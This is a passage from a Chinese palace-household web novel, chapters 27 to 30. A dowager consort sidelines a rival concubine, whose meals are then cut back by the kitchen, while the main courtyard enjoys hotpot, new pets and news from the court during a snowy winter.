“她们伺候侧太妃多年,没有功劳也有苦劳,便叫她们将自己的衣裳首饰什么的私房也带回去吧,正好做嫁妆!”顾晓是要剪除李氏的羽翼,却不是想要逼死人,因此又说道,“对外只说她们年纪大了,放出去配人的,其他的便不要说了!” 顾晓的吩咐传到西院,金珠她们颇有些劫后余生的感觉。她们虽说只是奴婢,却已经意识到,再跟着侧太妃,除非彻底反水,否则的话,她们真别想有什么好下场。 如今这般反而好,她们伺候侧太妃好几年,可是积攒了不少好东西。别的不说,光是侧太妃不穿的旧衣就有一大堆,这些可都是好东西,上头金丝银线,还有的镶嵌着珍珠宝石,还都是好料子,无非就是过了水,不如之前鲜亮,这才赏赐给她们这些下人,这些衣裳随随便便都能卖出个好价钱来。另外还有她们的月钱,赏钱,除了一部分交给家里之外,很多她们都自个攒了下来,有了这些,她们回去也能有一定的底气。 其他那些有希望补上一等二等的丫头这会儿也不在这事上纠缠计较,一个个殷勤地帮着她们收拾了铺盖箱笼,等着她们几个的父母进来,就直接将人一起从角门送了出去。 李氏的色 厉内荏也算是叫所有人看在了眼里,一个护不住手下的主子,还有谁愿意效忠呢!奴才也是人,也有自己的心思!是跟着正院吃香喝辣,还是跟着李氏提心吊胆,大家心里都有数。 李氏自个还恍若未觉,躲在自个屋里发脾气,一干丫头婆子都躲在外头,免得成了撒气的对象。李氏愈发气恼起来,尖声道:“反了天了,太妃娘娘也就算了,谁让人家是正,我是侧呢!你们一帮子奴才秧子,也敢不把我放在眼里,等着瞧吧,我倒要看看,你们能攀上什么高枝!” 她这边越是发火,下头人越是不敢接近。李氏如今简直是有些癫狂了,谁知道她能做出什么事情来。像是徒嘉泽的两个乳母,就直接找了个借口,连徒嘉泽一起也抱了出去。李氏是侧太妃不假,但要是一个失手,伤了徒嘉泽这个正经的皇孙,李氏或许不要紧,她们这些伺候的奴婢,就铁定要倒霉。 徒嘉泽现在也有点害怕自家亲妈了,以前李氏在他面前都是个温柔漂亮的形象,毕竟,他蛮横无礼的时候,都是奶娘丫头哄着,又不需要耗费李氏多少心思,李氏只需要口头上表达一下关心,然后给徒嘉泽好吃的好玩的就行。可今儿个才发现,自个这个母妃简直是有些吓人,他之前哭,多半是被李氏的模样给吓着的。 因此,乳母要抱他走,他简直是一刻也不敢多留,直接回自个屋子,老老实实跟小丫头一起玩,听到隔壁摔东西的动静,都忍不住缩脖子。 西院人心惶惶,却不耽误消息不断传到西院,吴嬷嬷听得喜气洋洋:“没有男人撑腰,她又算得了什么!之前是娘娘不跟她计较,她倒是以为自己了不得起来!” 春香却是说道:“娘娘,这事传出去,人家会不会说娘娘容不下侧太妃?岂不坏了娘娘的名声?” “呵,我是降了她的份例,还是夺了她的儿子?”顾晓冷笑道,“人善被人欺,我要是连个侧太妃都拿捏不住,回头宗室里头,还不定怎么看咱们王府呢?现在钰儿还小,等出了孝,他就要进宫念书,到时候一帮子堂兄弟凑一块,我这个做亲妈的撑不起来,连同钰儿都要被人欺负!” 吴嬷嬷也是不以为然地说道:“咱们府里如今门户严谨,谁敢在外头胡乱嚼舌!何况,李氏到了如今还不知道低头,说出去,也是她不知道天高地厚!” 顾晓摆了摆手,说道:“行啦,李氏到现在都不知道安定人心,也翻不出什么风浪来了!叫人在前头收拾个院子出来,就跟李氏说,她要是还折腾,就将二公子送到前头去!”! 第 27 章 第27章 李氏果然消停了,当纸老虎的假象被戳穿,她终于意识到,自己如今在府里的处境。 金珠她们几个大丫头都是皇庄上挑出来的,父辈原本在皇庄上就是管事,一家子被挑到府里做事,在王府也是小管事。这些管事之间互相联姻,都算是亲戚。徒宏远给李氏挑这几个大丫头,自然是为了给李氏行方便。 之前顾晓以账房和库房为切口,将府里整顿了一番,原本不少小管事也因此被撸了下去。像是金珠她爹就因为跟库房有些勾结,报损了不少东西,中饱私囊,虽说及时自首,交还了财物,却也被一撸到底,如今就是普通的仆役。 但是这些管事之间原本就有些亲戚关系,互相照应也是在所难免。所以,西院这边要什么东西,金珠她们出面,多半都能第一时间拿到好的。 可如今,金珠她们直接被送出去了,临时从二等丫头里头提起来的几个大丫头,可就没有这份人脉了。 因此,第二天,西院去厨房提膳的时候,就遭遇了刁难。 “鸡丝燕窝粥?”负责厨房的严大娘擦了擦手,对着新晋的大丫头玉珊笑呵呵地说道,“姑娘,咱们这大厨房,可没这么名贵的东西,侧太妃要是想吃,就自个拿了来,我们帮着炖了,倒也没问题,但是我们能从哪儿变出燕窝来呢?” 一块来提膳的小丫头蕊儿忍不住说道:“以前不是都有的吗?” 严大娘脸一拉:“以前有没有我不知道,今天就是没有!行啦,你们西院的早饭就在那儿,要的话就提走,不要的话,就做个好事,赏给我们这些做奴才的好了!” 玉珊可没心思为了李氏的膳食跟厨房过不去,当下努了努嘴,叫蕊儿提膳,嘴上赔笑道:“严大娘说的是,我们这就提了走!” 等着早饭上了桌,李氏顿时气得倒仰。 李氏这么多年下来,早就把嘴养刁了,每天必要有燕窝,还得是一等的官燕。这些日子点心吃多了,腰身略粗了些,她就不吃冰糖炖燕窝了,而是叫下头用鸡鸭之类的炖燕窝。 结果今儿个别说是燕窝了,不过就是一碗已经坨了的所谓鸡汤面,然后就是一盘猪油都凝结起来的肘子,一盘炒的火候过了的肉片,一碗白菜火腿粉条汤,都已经炖得烂乎乎的,攒心盘子里放着几碟小菜,看着却并不精细,点心只有几个羊肉包子,连点热乎气都没有。 反倒是给徒嘉泽准备的早餐还一如既往,这也是没办法的事情,徒嘉泽身体弱,换季就常咳嗽气喘,饮食上尤其要精细,太医专门给他制定了食谱,隔一个月就要换一次。顾晓早就吩咐了厨房,徒嘉泽的饮食就按照太医给的单子来,不许随便调整。 这些饭菜养生倒是挺养生的,但要说味道的话,那就是以清淡为要。李氏素来是不喜欢的,她喜欢的是有滋有味的食物,就差不多跟荣国府一样,吃个茄子都得十几只鸡来配的这种。 这其实是远远超出了她应有份例的,只是之前顾晓不计较,厨房又因为金珠她们的缘故 ,肯给李氏行方便,至于多用的食材,从哪儿抠不出来呢? 如今不给她这个特殊待遇了,甚至还被厨房摆了一道。像是她这个侧妃,按照规矩,每天的份例会有一只鸡或者是一只鸭,然后就是十斤猪肉,一斤羊肉,蔬菜夏秋季节是新鲜的,春冬季节就是白菜萝卜,也可以换成菜干,再加上几种主食还有盐糖酱醋各种调味料,那都是有数的。 这些份例不仅是李氏一个人的,还包括了她这里的下人,不过怎么算也都够了。可是,这里头并不包括各种名贵的食材,这些只有逢年过节或者是生日的时候会有额外的份例,其他你要是想吃,要么就是等着上头赏赐,要么就是自己花钱买。 以前李氏从来没有额外花过钱,厨房都是上赶着巴结,结果到了现在,连个顺口的早饭都吃不上了。 李氏气得要死,一推筷子,说道:“算了,不吃了,你们分了吧!” 一干丫头面面相觑了一番,知道只怕以后还不如现在呢,只是对她们来说,这些已经算是好东西了,当下几个人一合计,找看门的婆子借她们那边的茶炉,弄了两个砂锅,就在茶炉上将菜一热,一干丫头婆子凑一起,轮流吃了起来。 李氏闷头回去睡觉,结果还没睡着,外头又闹哄哄起来,原来三个太姨娘正式搬过来了。 屋子昨儿个就已经清理干净,李氏想要恶心拿几个太姨娘,直接叫人将屋里的东西搬了个干干净净。不过,几个太姨娘也不是省油的灯,干脆将自己屋里的东西,大件小件地一起搬过来。 这会儿借调的几个婆子呼和着将几样家具往屋里搬,几个小丫头在一边脆声叫嚷,防止谁粗手粗脚,磕着碰着,这孝期里头,可不方便给这些家具修补描画。 等着床榻箱柜之类的陆续搬了进去,接下来又是屏风桌椅板凳脚踏,还有各种花瓶摆件,陆陆续续都送了过来。 一下子,西院简直就跟菜市场一样,人来人往,络绎不绝。李氏越听越烦,偏生昨儿个刚被教训了一番,尽管心里烦得要命,也只能忍着。 她上午没吃早饭,这会儿肚子也饿了起来,就吩咐丫头去厨房拿点心。结果拿过来的点心也不称心,以前怎么着都得是什么木犀糕、玫瑰饼、八珍糕之类的,结果这会儿送过来的,就是很平常的白糖糕和黄米糕,这玩意以前她这里连大丫头都是不吃的,都是赏给跑腿的小丫头,如今居然也端到她桌子上来了。 李氏勉强吃了两口,又忍不住想要哭出来。 她强打精神,想要去看一下徒嘉泽,结果发现徒嘉泽这会儿正兴致勃勃地看着外头搬家,乳母指点着外头的东西,告诉他,什么是什么,还对照屋子里的东西指给他看。要不是外头冷,谁也不敢让他出门,他这会儿就窜出去了。 李氏更郁闷了,你个小兔崽子,老娘今儿个一早就憋屈到现在,你这小崽子倒是看起热闹来了。 见李氏神情不好,乳母顿时也有些惴惴不安,她赶紧抱着徒嘉泽给李氏行礼,徒嘉泽可没多少看人脸色的习惯,这会 儿乐呵呵地说道:“母妃,你看外头搬的那个柜子,上面花样好少,没有我屋里的好看!” 不光没你屋里的好看,还没你屋子里的贵重呢!那几个太姨娘位分低,又没孩子,用的家具好的是酸枝木的,更多的干脆就是普通的樟木、榆木的,你屋里的都是紫檀、鸡翅木、黄花梨,随便几个小件说不得也是黄杨木的,你拿这边的跟外头比! 李氏心中嘀咕,继而又有些心酸,可怜的孩子,没了王爷撑腰,你以后说不定也只能用这些档次的家具了! 心里这般想着,李氏没好气地说道:“她们什么人,你是什么人,你跟她们比?” 徒嘉泽哪懂这些,懵懂地问道:“嬷嬷说,回头有几个姨娘要搬过来,我可以去她们屋里玩吗?”徒嘉泽的社交圈子实在是太小了,来来往往都是那几个熟悉的面孔,对于西院这一点地方,早就觉得厌烦。可是,天气冷的时候,大家怕他冻着,等春暖花开了,他又容易犯风疹。所以,像是西院这边,就不种什么花树,花瓶里只叫人做了绒花通草花作为装饰。 他不懂什么叫做姨娘,他一年到头,除了年节的时候被带到正院给顾晓行礼问安外,几乎见不到其他人,如今多出了这么多新鲜的面孔,徒嘉泽自然很感兴趣。 但是李氏的脸色一下子变了,她厉声说道:“不许去!”一边说着,一边抓住了徒嘉泽的胳膊。 徒嘉泽吓了一跳,继而挣开了李氏的手,立马跳起脚来,开始耍赖:“我就要去,就要去!”说着,差点就开始在短塌上撒泼打滚起来。 李氏只气得额头青筋直蹦,舍不得骂儿子,就骂奶娘:“你们怎么教他的,那几个贱蹄子,能安什么好心,二公子去了,万一她们起了什么坏心,二公子有个万一,你们有几个脑袋够砍的!” 奶娘也很冤枉,她哪里敢撺掇徒嘉泽去几个太姨娘那里,但是小孩子的想法,哪里是能控制的。奶娘也觉得徒嘉泽可怜,虽说是皇孙,但是因为身体的缘故,一年到头,最多也就是在院子里跑几步,自然觉得憋屈。 但是这会儿李氏正在气头上,奶娘也只能是跪着磕头,不敢多说什么。 徒嘉泽看到对自己很好的奶娘跪在那里,连连磕头,愈发不乐意起来,他一边想要拉奶娘起来,一边对着李氏就叫道:“母妃坏!母妃坏!我不要母妃了!” 李氏听得头晕目眩,突然眼前一黑,整个人栽倒在地。! 第 28 章 第28章 李氏一时也就是气急攻心,很快就醒了过来,连太医也没叫。 事实上,也没人敢叫!要知道,历朝历代,都以孝治国,虽说徒嘉泽年纪还小,但若是小小年纪,就有个气晕生母的罪过,等成年封爵的时候,再有谁将这事翻出来,封爵起码得往下降一等! 因此,李氏醒过来之后,就立马下了封口令。可惜的是,消息还是传到正院去了。 顾晓也没有想要将这事传出去打击李氏母子的意思,小孩子的话,无非就是一时任性,能算得了什么! 不过,顾晓觉得自己也得警醒一点,后世各种各样的熊孩子已经足够讨厌了,眼看着徒嘉泽很有可能变成熊孩子中的一员,哪怕暂时祸害不到自己,但是,谁能想到以后如何呢? 顾晓记得上辈子闲着没事看帖子,说某人被族人欺负,为了报复,跑去行刺皇帝,最后一家子直接来了个九族消消乐!虽说这里头有点开玩笑的成分,但是这其实还真的挺有可操作性! 这年头可不讲究什么一人做事一人当,株连才是硬道理!就像是肃王他们几个谋逆,连同府里才出生的小儿都得被关到宗人府,从此不见天日。这还是正经的天家血脉,换做是其他人家。十四岁以上的全数去法场报道,十四岁以上的也要籍没为奴,说不定还不如一死了之。 徒嘉泽要是成了个无法无天的混账,那真的是有可能连累到顾晓她们母子的,顾晓又不能为了将来有可能发生的事情,而直接对一个孩子下手,如此,那也只能是找个人好生教导了。 “那孩子被李氏宠坏了,还是回头找个合适的教引嬷嬷先教导着吧!”顾晓叹了口气,她已经觉得一直让李氏教导徒嘉泽不合适了。李氏就是个浅薄的妇人,除了争风吃醋,讨好男人之外,就没别的特长。甚至,这个讨好男人还得加上个“表妹”的光环,真要说是讨好奉承男人,另几个太姨娘中,起码有两个手段比李氏强得多。可谁叫她们没有李氏那样的出身呢? 吴嬷嬷她们没想那么多,府里适合做教引嬷嬷的人很少,其实最适合的应该是原本跟徒宏远出宫的几个嬷嬷。但是这几位当初仗着伺候过徒宏远,又知道徒宏远更宠爱李氏,还在顾晓这个正经的女主人面前摆长辈的款,因此,原身就懒得跟她们打交道。徒宏远死了,这几个也知道她们在顾晓那里没脸面,也跟着请辞走了,也算识相。 “罢了,等年后再说吧!”顾晓摇头说道,徒嘉泽那个年纪,上辈子也就是个幼儿园小班的小屁孩,除非是天生的反社会人格,否则的话,就算是养成了一些坏脾气,还是可以掰回来的。 吴嬷嬷对此却是不以为然,她巴不得徒嘉泽就是个纨绔废物呢,如此才能显得自家娘娘生的孩子更好,可见,歹竹就是长不出好笋来! 说话间,外面天色却开始变得昏暗下来,风声也更大了,一些粗使的丫头婆子连忙奔走着去收晒在外面的衣裳,免得被风吹走了。 “看样子是要下雪了!”顾晓笑了起来,上辈子 她生活在江南一带,冬天就算是下雪,那也多半是小雪,很多时候还没落地就化了,根本没有下雪的意境。如今所在的神京可是正经的北方,记忆里,几乎年年冬天都有几场大雪,便是桃花雪也是很常见的。 “既然下雪,那晚上就吃便炉吧!”所谓便炉,其实就是火锅,这也是前明时候的说法,一直延续至今。顾晓想着热气腾腾的火锅,这会儿也有些馋了。 这年头的火锅,主要是涮羊肉,当然,也有涮兔肉的,便是所谓“拨霞供”,不过兔肉不比羊肉鲜美,贵族人家,吃的更多的还是羊肉和鹿肉,至于牛肉什么的,那得看运气。 这年头即便是皇家,想要吃牛肉依旧不是什么容易的事情。耕牛是重要的生产资料,是不能随便杀的。穿越里面程咬金家里三天两头有牛摔死,那就是家言而已,他如果经常吃牛,大概率是草原上来的肉牛。 朝廷跟北边蒙古人之间的边市总是不稳定,风调雨顺的时候,边市就能正常开,那时候就会有来自草原的牛羊被运进关来,神京这边距离北方草原并不算很远,用不了几天,就能有大群的牛羊送入神京,然后被宰杀,放进冰窖,成为各家餐桌上的美食。 可近两年,北方边境一直不稳,去年草原上就闹了白灾,春天的时候,蒙古人就跑到长城边上打草谷,差点就冲破了关口。如此,边市自然也就关闭了,想要再吃到草原上来的牛肉,就不是什么容易的事情了。边境走私的确屡禁不绝,可是,能掺和其中的多半是当年参与过横扫草原的勋贵,如四王八公中就有大半人私底下都有门人奴仆在草原乃至山海关外做些买卖,反倒是宗室里头,几乎没人能沾手这些生意。 顾晓并不挑剔,没有牛肉,猪肉、羊肉也很好!所以,她只需要吩咐一声下去,然后等着吃就可以了。 厨房的人如今也意识到,放开身心的太妃娘娘可以说是个美食家,她吩咐厨房用各种晒干的菌菇加上鸡胸肉烘烤磨碎做成可以提鲜的调料,做菜的时候稍微加一点,就像用了高汤一样鲜美,还教了她们许多新鲜的菜谱。这些可都是传家的本事,以后就算是被王府放出去了,她们的后人也能靠着这些菜谱有个好生计。 如今哪怕顾晓不是太妃,这些厨娘都要将顾晓当做是衣食父母了。因此,一听说正院要吃便炉,一帮人就开始忙活起来。她们这个厨房主要供应的就是后院的女眷,而前头的大厨房就是供应前头的男主子还有一干属官护卫和仆役。不过自从先王爷薨了之后,前头大厨房就只供应王府属官护卫和仆役了。因为小王爷年纪还小,都是跟着太妃娘娘一块吃。以至于原本大厨房的几个大厨,如今闲得不行,他们听说内院厨娘得了新的提鲜的法子和新的菜式,如今整日里眼巴巴地想要分上一份,可惜的是,除非太妃娘娘松口,否则她们才不会将这些泄露出去。 “这些都片成薄片,还有这些锤打成肉丸,水缸里的鱼捞一条出来,也打成鱼丸!”严大娘一边查看厨房里的食材,一边分派着差事,“再揉一些面,回头也可以下到锅子里! ” “严大娘,要不要再去暖房摘一些蔬菜来?”一个帮厨问道。 “当然要去!”严大娘点了点头,“你们两个,这就去暖房走一趟!” 厨房这边正在忙碌,已经两顿没能吃上正经饭菜的李氏已经忍不住了,叫人到厨房来点菜。她也看出来要下雪,倒是没想要吃火锅,而是想让厨房做一份羊肉汤。 来的是另一个大丫头玉露,这边才开了口,严大娘就皱起了眉头:“姑娘,不是我这边不给做,而是侧太妃娘娘一天就一斤羊肉的例,早上已经给她做了羊肉包子,哪里还能腾出羊肉来做羊肉汤?” 玉露抿了抿嘴唇,咬着牙从荷包里摸出一个银锞子来,塞到严大娘手里,赔笑道:“严大娘,您就松松手,一份羊肉汤里,稍微放几片羊肉,也就说得过去了,您就当可怜可怜我,叫我能回去交差!” 严大娘捏了捏那个银锞子,笑眯眯地收了起来,嘴里说道:“行,别说大娘不疼你,回头你叫人来提吧!” 玉露不由松了口气,但是继而又是头疼,一旦开了这个头,以后就没完没了,厨房这些人,哪个是什么省油的灯,到时候,不给钱,她们就随便糊弄,侧太妃可不是什么大方的人,弄上几次,只怕就忍不了了! 玉露这边心中暗叹,严大娘笑吟吟地说道:“正巧,你们西院的点心也好了,你也带回去吧!” 严大娘也知道,不能把李氏给逼急了,李氏不是那等要脸面的人,她要是真豁出去,闹腾起来,就算是各打五十大板,她们也得吃亏啊!因此,这会儿严大娘就直接指了指放在一边桌上的一盘玉带糕和一盘蟹壳黄,叫帮厨放到食盒里,塞到玉露手中。 玉露都有点受宠若惊起来,她提着食盒,连声道谢:“多谢大娘疼我,回头定然孝敬大娘!” 玉露提着食盒匆匆忙忙回去了,严大娘看着玉露在寒风中的背影,嗤笑了一声。 一边严大娘的小徒弟兼外甥女问道:“舅妈,你早上就给了西院一盘白糖糕和黄米糕,怎么这回又回去了?” 严大娘拍了拍粗壮的腰肢,上头挂着一串钥匙,被她这么一拍,顿时叮当作响,她晃着钥匙说道:“你个小丫头,咱们啊,在厨房,可不能光知道做菜,那就只能当个厨子,能有什么出息!什么时候,你把这些搞明白了,才能跟舅妈一样,管着厨房各处的钥匙呢!”! 第 29 章 第29章 西院晚上总算是吃了一顿顺心的,正院这边,几个人吃火锅也吃得很开心。 徒嘉钰差不多是头一次吃火锅,主要是吃这个,一个人没氛围。徒宏远很少会在正院吃饭,他就算是按照惯例来正院休息,也是在前头吃过饭再来。原身那时候也厌烦徒宏远,因此,从不开口虚留,所谓的夫妻,跟熟悉的陌生人没有区别。 这会儿跟亲妈还有小伙伴,甚至还有个才会“咿咿呀呀”的小不点坐在宝宝餐椅上跟着凑热闹,才长出两个小米牙的嘴里也在不厌其烦地咀嚼着一口肉糜,蒸腾的热气里,大家神情都很是轻松愉悦。 火锅这玩意,总是一不小心就会吃得有点多,因此,吃过饭,几个人就换了地方,喝着山楂糖水惬意地消食。 顾晓靠在搭着椅袱的玫瑰椅上,忽然有点想要撸个猫猫狗狗什么,她之前就打听过了,宫里有专门的猫狗房,给女眷养的猫狗都是那种几代都没有伤过人的,饶是如此,也会定期修剪指甲,防止一个不小心抓伤哪个主子,这样驯养出来的猫狗也在最大程度上杜绝了携带病毒的可能。 这样想着,顾晓便笑着问道:“钰儿,你们喜欢猫狗吗?” 徒嘉钰一愣,府里头其实是有猫的,但是那是厨房库房之类的地方养来捉老鼠的,颇有些野性,并不怎么亲近人。但是小型猫科动物大多天生有一种惹人怜爱的气质,徒嘉钰自然也曾想过去摸一摸,还曾经拿了鱼肉放在窗外喂猫,结果人家吃是吃了,吃完拍拍屁股就走,丝毫没有感激的意思。 听到顾晓这么问,徒嘉钰顿时就有些心动起来,当下用力点了点头,说道:“我喜欢猫,妈妈你这边养了,我能经常过来摸一摸吗?” 顾晓好笑道:“你现在自己有院子,要是喜欢,在自个院子里养着,不就行了?还要来蹭我的!” 徒嘉钰顿时眼睛一亮,几乎要欢呼起来。 顾晓转头吩咐道:“回头拿了钱,去宫里猫狗房,挑两只刚断奶的小猫回来!” 吴嬷嬷看了看还在一边傻乐的小家伙,欲言又止,但是看着顾晓亮晶晶的眼神,又没有开口,心里琢磨着,府里头毕竟没个男人,自家姑娘这是觉得寂寞了。 顾晓要是知道吴嬷嬷的想法,只怕要笑掉大牙,她现在这样的生活,给个神仙都不换,还要男人干什么,给自己添堵吗? 顾晓想要第一时间看到小猫的愿望没能实现,毕竟,猫狗又不像是人,一年四季发情,人家也就是春天万物复苏的时候繁衍一下,其他时候,那特别清心寡欲。顾晓想要的又是那种刚断奶的小猫,自然得等到春天才行。 不过去办事的人也算是乖觉,先是将猫的事情定了下来,回头又从外头买了一只鹦鹉回来。 屋里多了只正在学话的鹦鹉,一下子更加热闹起来。 尤其是小的那个,自己也在学说话呢,说得却还不如鹦鹉利索,顿时就急了,张牙舞爪,对着鹦鹉就是一阵“咿咿呀呀”,弄得鹦鹉也跟着学,一人一 鸟就是鸡同鸭讲,偏生还说得挺热闹,惹得满屋子的人都忍不住哄堂大笑! 徒嘉钰见得这个场景,忍不住笑嘻嘻说道:“妈,我觉得三弟的小名可以叫鹦哥!” “胡说!”顾晓敲了敲徒嘉钰的脑门,“这算是什么名字,回头他大了,小心跟你闹腾!” 徒嘉钰撇嘴偷笑一声,然后一本正经地说道:“嗯,这只鹦鹉可以叫鹦哥,至于三弟嘛,我也想好了,他是咱们家最小的孩子,就叫末儿!” 很符合古人特色的名字,顾晓差点就以为徒嘉钰要给小东西取个什么三儿之类的小名了,如今这个听起来也很顺口,也没什么不好的含义。顾晓笑眯眯地摸了摸小家伙的头,说道:“以后啊,你就叫末儿了!末儿啊,来,叫一声‘哥哥’,这可是哥哥给你取的名字?” 小家伙竟然像是听懂了一半,嘴里发出含含糊糊,类似于“呵呵”的声音,徒嘉钰听得眉开眼笑,叫了起来:“末儿叫我哥哥了!” 顾晓也不反驳,笑意盈盈:“是啊,他叫你哥哥了!以后啊,你这个做哥哥的,可要好好保护弟弟啊!” 徒嘉钰用力点了点头:“那是当然的!谁敢欺负我弟弟,我就去打他!” 贾瑚在一边听得有些羡慕,转念一想,自己过几个月,也要做哥哥了,羡慕别人做什么,不过心里头却琢磨着,回头一定要缠着母亲,他也想要给弟弟取小名! 原本不管是徒嘉钰还是贾瑚,其实早就做兄长了。可是徒嘉钰摊上的是个偏心的亲爹,觉得世子的位置已经给嫡长子了,那么,他的爱就要分给心爱的次子,在这样的情况下,徒嘉钰自然不可能对徒嘉泽生出什么兄弟之情。贾瑚也是一样,贾家大房二房一直以来面和心不和,小一辈之间说是兄弟,其实就是竞争对手。因此,唯有在同母所出,不存在竞争关系的弟弟那里,他们才真正有一种做兄长的真实感。 正院每日里欢声笑语,西院那边李氏算是学乖了,就算是生气,也不敢明着发出来。 没办法,之前几个心腹丫头都被打发出去了,如今几个使唤起来不如以前顺手不说,也没以前忠心。 做奴婢的,又不是天生犯贱,非要给自己一个忠诚的对象,然后就忠心不二,她们都有自个的想法,有自己的利益。对于新上来的一等二等丫头来说,李氏得宠的时候,她们没沾上多少光,如今等级上来了,她们也就是多了点月钱,至于前程,其实已经差不多到头了。 之前金珠她们被放出去,府里就补充了一条新规矩。那就是府里的丫头,最多到二十二岁,就要放出去配人。若是府里有个成年的男人或者是年纪差不多的少年,还能指望着给男主子做通房,可现在最大的徒嘉钰也就是个六七岁的孩子,怎么着也轮不到她们! 西院那几个新上来的一等丫头,年纪并不比金珠她们小几岁,也就是说,最多也就是两三年功夫,她们也得被放出去了,之后成了年轻媳妇,又不可能再进来做奶妈,难不成来给李氏做嬷嬷?便是二等也是一样,她们是因为资 历深才升了二等,可以说,几乎是要跟一等前后脚出去的,她们干什么要为李氏奉献一片忠心呢?无非就是趁着这几年,多混点月钱赏钱,给自己多攒一点嫁妆,回去之后也能多几分体面。 下头的小丫头倒是有点上进心,可现在谁不知道,西院这边压根没什么前程可言。正院可以给大丫头选府里的管事嫁过去直接做管事娘子,甚至运气好,嫁给哪个王府的属官也说不定。太妃娘娘又一向出手大方,身边人嫁出去,定然会给陪送一笔厚厚的嫁妆,面子里子都有。而西院这边呢,李氏如今将钱把得死紧,好几天才肯拿钱出来改善一下伙食,很多时候宁可是蹭徒嘉泽的份例。 李氏的想法,大家也明白。王爷不在了,李氏除了月钱,手里也没别的进项,娘家又是指望不上的,将来徒嘉泽分出去,府里也给不出多少家产,毕竟,府里一个嫡长子,一个嫡三子,徒嘉泽夹在中间,还是庶出,能分多少呢!李氏不管是出于爱子之心,还是因为想要将来跟徒嘉泽一起出府生活,手里都得有足够的资本才行。 在意识到顾晓不会再给她超出位份的待遇之后,李氏就抠搜起来了。地炕也不烧了,改成火炕,还将徒嘉泽抱过来跟自己一块起卧,如此就能少用一些炭,虽说没法子转卖,但是用来煮茶、热饭什么的,省得再额外掏钱问厨房去要。 既没有前途,又没有钱途,西院那边的气氛就显得有些暮气沉沉,以至于原本憋足了气,想要过去好好跟李氏斗一斗的刘氏、米氏、何氏三个人都跟着泄了气。 好在正院那边也没明确说让她们过去给李氏添堵,给她们的份例一如既往,如今住得也宽敞,还能看李氏那边的笑话下饭,几个人干脆也放下了之前的想法,搭伙过起了自己的小日子。 三个人每日凑一块吃饭,顾晓怜惜她们年纪轻轻没个孩子,叫下头不要难为她们,在允许的范围内给她们行方便,厨房自然不敢怠慢,反正按照她们的份例,用小灶也费不了多少功夫,有的费事的,给正院做的时候额外留出一点,也就行了,多出来的就是厨子的油水。 一个人两三个菜,三个人就是一大桌。她们吃得开心,伺候她们的丫头婆子也吃得开心。可以说,比起李氏那边,她们三个固然月例少一点,日子却有滋有味多了。 瞧着她们日子过得舒坦,李氏愈发不舒服,可是她现在哪敢再生出什么是非来,生怕顾晓那边听说了,觉得她教不好孩子,直接将徒嘉泽抱走,一肚子的委屈,唯有深更半夜的时候偷偷落泪,怀念已经去世的徒宏远,以至于半个月不到,之前养出来的那点丰腴迅速消退了下去,甚至都略显憔悴起来。! 第 30 章 第30章 入冬之后,连着下了几场大雪。 王府里头还好,每日里都有人四处清扫检查,顾晓又吩咐厨房乃至各处茶房时刻准备好姜汤,谁要是冷了,就可以去喝一碗。姜汤里面加了红糖,哪怕不多,对于那些粗使的仆妇来说,也是难得的好东西,一个个连声念佛,都说娘娘慈悲。 王府能够岁月静好,外头寻常百姓却没有心思赏雪访梅。 有道是“东富西贵,南贫北贱”,神京大,居不易,几场大雪下来,南城那边据说不少人家的房子被压塌了,也亏得这些人家用不起砖瓦,只要能及时挖出来,不至于被砸死在屋里。但是,哪怕只是一间破茅屋,也足以遮风挡雪,如今没了这个栖身之处,这些人就面临冻死的危险。 如今朝政还算是清明,顺天府命人清理了那些废墟,将活着的人先找地方安置下来,又写了折子上报,请求户部下拨棉衣和粮食,好赈济这些贫民。毕竟其他地方也就罢了,天高皇帝远的,死多少,地方上不上报,大家也不知道。而天子脚下,大冬天的冻死饿死太多人,也是给圣上脸上抹黑不是。 往年遇到这样的情况,东宫那边总会以皇家的名义,带上一干宗室王公,在城门口,还有几处寺庙道观那边施粥。这也是之前圣上疼爱太子,有意给太子树立一个爱民如子的名声。可如今,东宫被烧毁的宫殿还没恢复过来呢,活下来的一帮皇子王爷,也都战战兢兢,一时半会儿谁也不敢冒这个头,至于这等事情,更是谁也不敢去做,免得落得个邀买民心,图谋不轨的罪名。 平王府这边,往年就是原身负责这事,今年顾晓没收到消息,也猜出了其中的缘由,干脆不声不响,当做自己什么都不知道。横竖府里如今还在孝期,消息不通,也是难免的事情。 结果宫里头,圣上听说了此事,又开始怀念起心爱的太子来。觉得要是废太子还在,这些事情早就处理得妥妥当当,哪里还会叫自己烦心。 只是废太子如今连个后人都没有,圣上想要加恩都没个合适的对象,思来想去,圣上便表示,要追封废太子为义忠亲王。 朝堂上顿时一片哗然!好家伙,你为了废太子逼宫谋逆的事情,差点将朝堂上下杀了个血流成河,结果你反过来要追封废太子为亲王,还用了义忠这两个字,是不是接下来还要给废太子平反啊!那我们这些审判了废太子一党的人,以后可怎么办?难道要被秋后算账吗? 因此,朝堂上一片反对之声。最后,胳膊还是拧不过大腿,大家都自觉各退了一步,你追封可以,但是不能说废太子无辜,而且,也不能追封到亲王这个位置上,因此,圣上只得先追封废太子为义忠郡王,等以后选了新君,就让新君登基的时候再追封一次,也就是亲王了。横竖人家也没有子嗣后代,就是名义上好听罢了。 消息传出来,顾晓也就是听过就算,自家反正也没有继承皇位的资格,谁当皇帝都不能没事找他们这些孤儿寡母的茬吧!这等朝堂大事,与自家能有什么关系! 倒是隆安侯夫人听闻消息后,又来了王府一趟。 刘家的案子早就判下来了,他们哪怕不知道太子要谋逆,但是借助职权,为太子提供了大量银钱,这事是抹不过去的。这一方面是以权谋私,一方面又是涉逆,在这个时代,自然是捞不到什么好处。刘家几房都跟着遭了殃,成年男丁大半被杀,出了五服的和没有成年的都被充军流放辽东,女眷一部分跟着被流放,一部分直接没入官中为奴,从此世世代代不能翻身。 刘氏在家哭得死去活来,隆安侯府这边也只能是私底下打点了押送的差役,请他们路上多多关照一番,又暗地里头给刘家流放的族人塞了一些衣物吃食,其他的也是无能为力。像是那等沦为官奴的,你根本不知道她们会被分配到什么地方去,而且涉及到这等大案,根本就不可能脱籍,所以,顾家想要照应,都不知道从何下手。 这些是隆安侯夫人后来跟顾晓说的,之前顾晓将养身体,隆安侯夫人怕她知道了忧心难受,不跟她多说,等着顾晓身体状况恢复得差不多了,才稍微跟顾晓提了几句。 隆安侯夫人一直觉得自家女儿心软,生怕自家女儿乱发善心,惹了上头的眼,这才过来叮嘱一二。 